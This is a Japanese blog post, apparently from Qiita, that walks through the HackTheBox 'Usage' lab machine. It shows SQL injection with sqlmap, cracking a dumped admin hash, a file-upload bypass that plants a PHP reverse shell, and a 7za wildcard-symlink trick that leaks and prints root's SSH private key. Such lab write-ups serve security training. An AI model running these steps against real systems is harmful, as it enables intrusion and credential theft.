1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】Usage:Writeup

Posted at

概要

HackTheBox「Usage」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.18 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.9p1
80 http nginx 1.18.0

ホスト名が分かったので/etc/hostsにレコードを追記します。

10.10.11.18     usage.htb

80番ポートにアクセスするとログイン画面が表示されました。

login.jpg

PHP,Laravelが使用されています。

wappalyzer.jpg

サブドメインを列挙します。

$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.usage.htb" -u http://usage.htb -o ffuf_subdomain_result -fs 178
admin                   [Status: 200, Size: 3304, Words: 493, Lines: 89, Duration: 271ms]

サブドメインも/etc/hostsに追記します。

10.10.11.18     usage.htb admin.usage.htb

usage.htbのディレクトリ列挙を行います。

$ dirsearch -u http://usage.htb --exclude-status 503  
[13:46:04] 200 -    5KB - /index.php/login/                         
[13:46:11] 302 -  334B  - /logout/  ->  http://usage.htb/login
[13:46:33] 200 -    5KB - /registration/
[13:46:33] 200 -    5KB - /registration

admin.usage.htbのディレクトリ列挙を行います。

$ dirsearch -u http://admin.usage.htb --exclude-status 503
[13:49:59] 301 -  178B  - /uploads  ->  http://admin.usage.htb/uploads/

/forget-passworda@a.com'のような値を送信すると、サーバー側でSQLの処理エラーが起き、ステータスコード500が返ってきました。

sql injection 500 error.jpg

SQLインジェクションの脆弱性があると分かりました。

POSTリクエストの内容をファイルに保存し、sqlmapでデータベース情報をダンプします。

$ sqlmap -r forget_passwd_request.txt --batch --dbms=mysql --dbs -p email --level 5

(省略)

available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog

usage_blogデータベースを確認できました。
テーブル一覧を取得します。

$ sqlmap -r forget_passwd_request.txt --batch --dbms=mysql -p email --level 5 -D usage_blog --tables

Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+

usersテーブルが怪しいのでレコードを確認します。

$ sqlmap -r forget_passwd_request.txt --batch --dbms=mysql -p email --level 5 -D usage_blog -T admin_users --dump

Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name          | avatar  | password                                                     | username | created_at          | updated_at          | remember_token                                               |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1  | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin    | 2023-08-13 02:48:26 | 2024-08-08 13:33:56 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+

adminのパスワードを発見しました。
Hashcatでパスワードのハッシュ値を解析します。

$ hashcat -a 0 -m 3200 admin_hash.txt /usr/share/wordlists/rockyou.txt

$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1

パスワードが判明しました。
ログインフォームからログインするとダッシュボードが表示されました。

dashboard.png

ダッシュボードの依存関係からencore/laravel-admin 1.8.18の脆弱性を発見しました。

下記のPoC情報を基にエクスプロイトを実行します。

/admin/auth/users/1/editへ移動します。

admin edit.jpg

PHPリバースシェルファイルの拡張子を.jpgに変更したものを用意します。

$ ls -la
-rwxr-xr-x 1 kali kali  5515 Aug  8 10:07 php-reverse-shell.jpg

BurpのインターセプトをOnにし、AvatarBrowseからリバースシェルファイルをアップロードし、SubmitボタンでPOSTリクエストを送信します。
その際に、filenameの拡張子に.phpを追加します。

revshellファイルをアップロード.png

ファイルのアップロード制限をバイパスしてアップロードできました。

revshell file download.jpg

Netcatでリッスンし、Download fileからURLにアクセスするとシェルを取得できました。

$ nc -vlnp 1234                                
listening on [any] 1234 ...
connect to [10.10.14.38] from (UNKNOWN) [10.10.11.18] 44808
Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 14:11:50 up  2:51,  3 users,  load average: 3.38, 3.25, 2.97
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(dash) gid=1000(dash) groups=1000(dash)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
dash

TTYを設定します。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

/home/dash/user.txtからユーザーフラグを入手します。

/home/dash/user.txt
1f12409b250b116b5ee192eba9db7207

Root Flag

/home/dash/.monitrcを確認するとパスワードを発見しました。

/home/dash/.monitrc
#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd

(省略)

xanderアカウントへ昇格します。

su xander
password: 3nc0d3d_pa$$w0rd
xander@usage:~$

sudo -lで確認します。

$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

プログラム内の文字列を確認すると/usr/bin/7zaコマンドを実行しているのを発見しました。

$ strings /usr/bin/usage_management

(省略)

/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *

オプションで-- *を使用している場合の脆弱性を発見しました。

rootアカウントのSSHキーファイルのシンボリックリンクを作成します。

cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa

/usr/bin/usage_managementを実行し、1を選択して7zのプログラムを実行させます。
すると/root/.ssh/id_rsaの内容を読み取れました。

$ sudo /usr/bin/usage_management 
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7513 32-Core Processor                 (A00F11),ASM,AES-NI)

Open archive: /var/backups/project.zip
--       
Path = /var/backups/project.zip
Type = zip
Physical Size = 54836099

(省略)

Scan WARNINGS for files and folders:

-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files
-----END OPENSSH PRIVATE KEY----- : No more files
----------------
Scan WARNINGS: 7

Kaliにファイルを保存し、rootでSSH接続します。

vi root_id_rsa
chmod 600 root_id_rsa
$ ssh -i root_id_rsa root@10.10.11.18
root@usage:~#

/root/root.txtからルートフラグを入手できます。

/root/root.txt
6e66df093b21553dcdaec73e4be35c37
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?